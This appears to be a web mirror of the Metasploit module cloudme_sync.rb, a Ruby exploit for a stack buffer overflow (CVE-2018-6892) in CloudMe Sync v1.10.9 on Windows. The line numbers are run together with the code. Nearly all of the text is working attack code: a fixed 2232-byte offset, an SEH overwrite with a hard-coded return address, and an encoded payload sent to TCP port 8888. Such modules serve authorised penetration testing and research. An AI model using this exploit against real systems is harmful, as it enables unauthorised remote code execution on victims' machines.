Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/cloudme_sync.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'CloudMe Sync v1.10.9',14'Description' => %q{15This module exploits a stack-based buffer overflow vulnerability16in CloudMe Sync v1.10.9 client application. This module has been17tested successfully on Windows 7 SP1 x86.18},19'License' => MSF_LICENSE,20'Author' =>21[22'hyp3rlinx', # Original exploit author23'Daniel Teixeira' # MSF module author24],25'References' =>26[27[ 'CVE', '2018-6892'],28[ 'EDB', '44027' ],29],30'DefaultOptions' =>31{32'EXITFUNC' => 'thread'33},34'Platform' => 'win',35'Payload' =>36{37'BadChars' => "\x00",38},39'Targets' =>40[41[ 'CloudMe Sync v1.10.9',42{43'Offset' => 2232,44'Ret' => 0x61e7b7f645}46]47],48'Privileged' => true,49'DisclosureDate' => '2018-01-17',50'DefaultTarget' => 0))5152register_options([Opt::RPORT(8888)])5354end5556def exploit57connect5859buffer = make_nops(target['Offset'])60buffer << generate_seh_record(target.ret)61buffer << payload.encoded6263sock.put(buffer)64handler65end66end676869